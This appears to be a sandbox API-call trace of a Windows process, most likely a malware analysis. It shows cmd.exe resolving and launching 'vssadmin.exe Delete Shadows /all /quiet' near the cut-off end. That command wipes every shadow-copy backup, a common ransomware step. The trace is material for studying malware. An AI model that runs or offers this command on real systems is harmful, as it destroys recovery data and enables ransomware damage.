	[0247.326] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2ef760 | out: lpFindFileData=0x2ef760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28993240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x28993240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Desktop", cAlternateFileName="")) returned 0x481320
	[0247.326] FindClose (in: hFindFile=0x481320 | out: hFindFile=0x481320) returned 1
	[0247.326] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.326] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0247.326] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0247.326] GetProcessHeap () returned 0x480000
	[0247.326] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49b6f0 | out: hHeap=0x480000) returned 1
	[0247.326] GetEnvironmentStringsW () returned 0x498a60*
	[0247.326] GetProcessHeap () returned 0x480000
	[0247.326] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xae8) returned 0x49ac50
	[0247.326] FreeEnvironmentStringsW (penv=0x498a60) returned 1
	[0247.326] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.327] GetProcessHeap () returned 0x480000
	[0247.327] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x498300 | out: hHeap=0x480000) returned 1
	[0247.327] GetProcessHeap () returned 0x480000
	[0247.327] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x4016) returned 0x49cc80
	[0247.327] GetProcessHeap () returned 0x480000
	[0247.328] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x68) returned 0x498300
	[0247.328] GetProcessHeap () returned 0x480000
	[0247.328] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x4010) returned 0x4a0ca0
	[0247.328] GetProcessHeap () returned 0x480000
	[0247.328] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x4010) returned 0x4a4cc0
	[0247.332] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0247.334] GetProcessHeap () returned 0x480000
	[0247.334] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x420) returned 0x49b740
	[0247.334] SetErrorMode (uMode=0x0) returned 0x0
	[0247.334] SetErrorMode (uMode=0x1) returned 0x0
	[0247.334] GetFullPathNameW (in: lpFileName="vssadmin.exe Delete Shadows \\all \\.", nBufferLength=0x208, lpBuffer=0x49b750, lpFilePart=0x2ef910 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe Delete Shadows \\all", lpFilePart=0x2ef910*="all") returned 0x46
	[0247.334] SetErrorMode (uMode=0x0) returned 0x1
	[0247.335] GetProcessHeap () returned 0x480000
	[0247.335] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x49b740, Size=0xaa) returned 0x49b740
	[0247.335] GetProcessHeap () returned 0x480000
	[0247.335] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x49b740) returned 0xaa
	[0247.335] NeedCurrentDirectoryForExePathW (ExeName="vssadmin.exe Delete Shadows \\all \\.") returned 1
	[0247.335] GetProcessHeap () returned 0x480000
	[0247.335] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xa4) returned 0x49b800
	[0247.335] GetProcessHeap () returned 0x480000
	[0247.335] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x134) returned 0x49b8b0
	[0247.335] GetProcessHeap () returned 0x480000
	[0247.335] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x49b8b0, Size=0xa4) returned 0x49b8b0
	[0247.335] GetProcessHeap () returned 0x480000
	[0247.336] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x49b8b0) returned 0xa4
	[0247.336] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.336] GetProcessHeap () returned 0x480000
	[0247.336] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xe8) returned 0x49b970
	[0247.343] GetProcessHeap () returned 0x480000
	[0247.343] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x49b970, Size=0x7e) returned 0x49b970
	[0247.343] GetProcessHeap () returned 0x480000
	[0247.343] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x49b970) returned 0x7e
	[0247.343] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.343] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe Delete Shadows \\all\\quiet.*", fInfoLevelId=0x1, lpFindFileData=0x2ef680, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef680) returned 0xffffffffffffffff
	[0247.344] GetLastError () returned 0x3
	[0247.344] GetProcessHeap () returned 0x480000
	[0247.344] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4a0ca0 | out: hHeap=0x480000) returned 1
	[0247.344] GetProcessHeap () returned 0x480000
	[0247.344] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4a4cc0 | out: hHeap=0x480000) returned 1
	[0247.344] GetProcessHeap () returned 0x480000
	[0247.344] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49cc80 | out: hHeap=0x480000) returned 1
	[0247.344] GetConsoleOutputCP () returned 0x1b5
	[0247.775] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.775] GetUserDefaultLCID () returned 0x409
	[0247.776] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a537b50, cchData=8 | out: lpLCData=":") returned 2
	[0247.776] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2efb60, cchData=128 | out: lpLCData="0") returned 2
	[0247.776] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2efb60, cchData=128 | out: lpLCData="0") returned 2
	[0247.777] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2efb60, cchData=128 | out: lpLCData="1") returned 2
	[0247.777] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a54a740, cchData=8 | out: lpLCData="/") returned 2
	[0247.777] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a54a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0247.777] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a54a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0247.777] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a54a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0247.777] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a54a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0247.777] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a54a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0247.777] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a54a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0247.777] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a54a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0247.778] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a537b40, cchData=8 | out: lpLCData=".") returned 2
	[0247.778] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a54a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0247.778] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0247.779] GetProcessHeap () returned 0x480000
	[0247.779] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x0, Size=0x20c) returned 0x49ba70
	[0247.779] GetConsoleTitleW (in: lpConsoleTitle=0x49ba70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.780] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0247.780] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0247.780] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0247.780] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0247.781] GetProcessHeap () returned 0x480000
	[0247.781] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x4012) returned 0x49cc80
	[0247.781] GetProcessHeap () returned 0x480000
	[0247.781] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49cc80 | out: hHeap=0x480000) returned 1
	[0247.783] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77
	[0247.783] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16
	[0247.783] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16
	[0247.783] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13
	[0247.783] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13
	[0247.783] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4
	[0247.783] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4
	[0247.783] GetProcessHeap () returned 0x480000
	[0247.783] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xb0) returned 0x49bc90
	[0247.783] GetProcessHeap () returned 0x480000
	[0247.783] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x2a) returned 0x496530
	[0247.784] GetProcessHeap () returned 0x480000
	[0247.784] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x48) returned 0x49bd50
	[0247.786] GetConsoleTitleW (in: lpConsoleTitle=0x2efa70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.787] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vssadmin.exe")) returned 0xffffffff
	[0247.787] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0247.787] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0247.787] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0247.788] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0247.789] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0247.790] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0247.791] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0247.792] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0247.792] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0247.792] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0247.792] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0247.792] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0247.792] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0247.792] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0247.793] GetProcessHeap () returned 0x480000
	[0247.793] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x218) returned 0x49bda0
	[0247.793] GetProcessHeap () returned 0x480000
	[0247.793] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x62) returned 0x49bfc0
	[0247.793] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0247.794] GetProcessHeap () returned 0x480000
	[0247.794] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x420) returned 0x481320
	[0247.794] SetErrorMode (uMode=0x0) returned 0x0
	[0247.794] SetErrorMode (uMode=0x1) returned 0x0
	[0247.794] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x481330, lpFilePart=0x2ef300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ef300*="Desktop") returned 0x25
	[0247.794] SetErrorMode (uMode=0x0) returned 0x1
	[0247.795] GetProcessHeap () returned 0x480000
	[0247.795] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x481320, Size=0x76) returned 0x481320
	[0247.795] GetProcessHeap () returned 0x480000
	[0247.795] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x481320) returned 0x76
	[0247.795] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.795] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0247.795] GetProcessHeap () returned 0x480000
	[0247.795] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x128) returned 0x49c030
	[0247.795] GetProcessHeap () returned 0x480000
	[0247.796] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x240) returned 0x4813b0
	[0247.797] GetProcessHeap () returned 0x480000
	[0247.797] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x4813b0, Size=0x12a) returned 0x4813b0
	[0247.798] GetProcessHeap () returned 0x480000
	[0247.798] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x4813b0) returned 0x12a
	[0247.798] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.798] GetProcessHeap () returned 0x480000
	[0247.798] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xe8) returned 0x4814f0
	[0247.798] GetProcessHeap () returned 0x480000
	[0247.798] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x4814f0, Size=0x7e) returned 0x4814f0
	[0247.798] GetProcessHeap () returned 0x480000
	[0247.798] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x4814f0) returned 0x7e
	[0247.798] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.799] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x2ef070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef070) returned 0xffffffffffffffff
	[0247.799] GetLastError () returned 0x2
	[0247.799] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x2ef070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef070) returned 0xffffffffffffffff
	[0247.799] GetLastError () returned 0x2
	[0247.800] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x2ef070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef070) returned 0xffffffffffffffff
	[0247.800] GetLastError () returned 0x2
	[0247.800] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.800] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x2ef070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ef070) returned 0x481580
	[0247.801] GetProcessHeap () returned 0x480000
	[0247.801] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x0, Size=0x28) returned 0x4945b0
	[0247.801] FindClose (in: hFindFile=0x481580 | out: hFindFile=0x481580) returned 1
	[0247.801] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0247.801] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0247.801] GetConsoleTitleW (in: lpConsoleTitle=0x2ef5c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.801] InitializeProcThreadAttributeList (in: lpAttributeList=0x2ef378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2ef338 | out: lpAttributeList=0x2ef378, lpSize=0x2ef338) returned 1
	[0247.801] UpdateProcThreadAttribute (in: lpAttributeList=0x2ef378, dwFlags=0x0, Attribute=0x60001, lpValue=0x2ef328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2ef378, lpPreviousValue=0x0) returned 1
	[0247.801] GetStartupInfoW (in: lpStartupInfo=0x2ef490 | out: lpStartupInfo=0x2ef490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0247.802] GetProcessHeap () returned 0x480000
	[0247.802] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x20) returned 0x4945e0
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0247.802] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0247.803] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0247.804] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0247.804] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0247.804] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0247.804] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0247.804] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0247.804] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0247.804] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0247.804] GetProcessHeap () returned 0x480000
	[0247.804] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4945e0 | out: hHeap=0x480000) returned 1
	[0247.804] GetProcessHeap () returned 0x480000
	[0247.804] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x12) returned 0x49c160
	[0247.804] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0247.807] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe  Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ef3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe  Delete Shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2ef360 | out: lpCommandLine="vssadmin.exe  Delete Shadows /all /quiet", lpProcessInformation=0x2ef360*(hProcess=0x54, hThread=0x50, 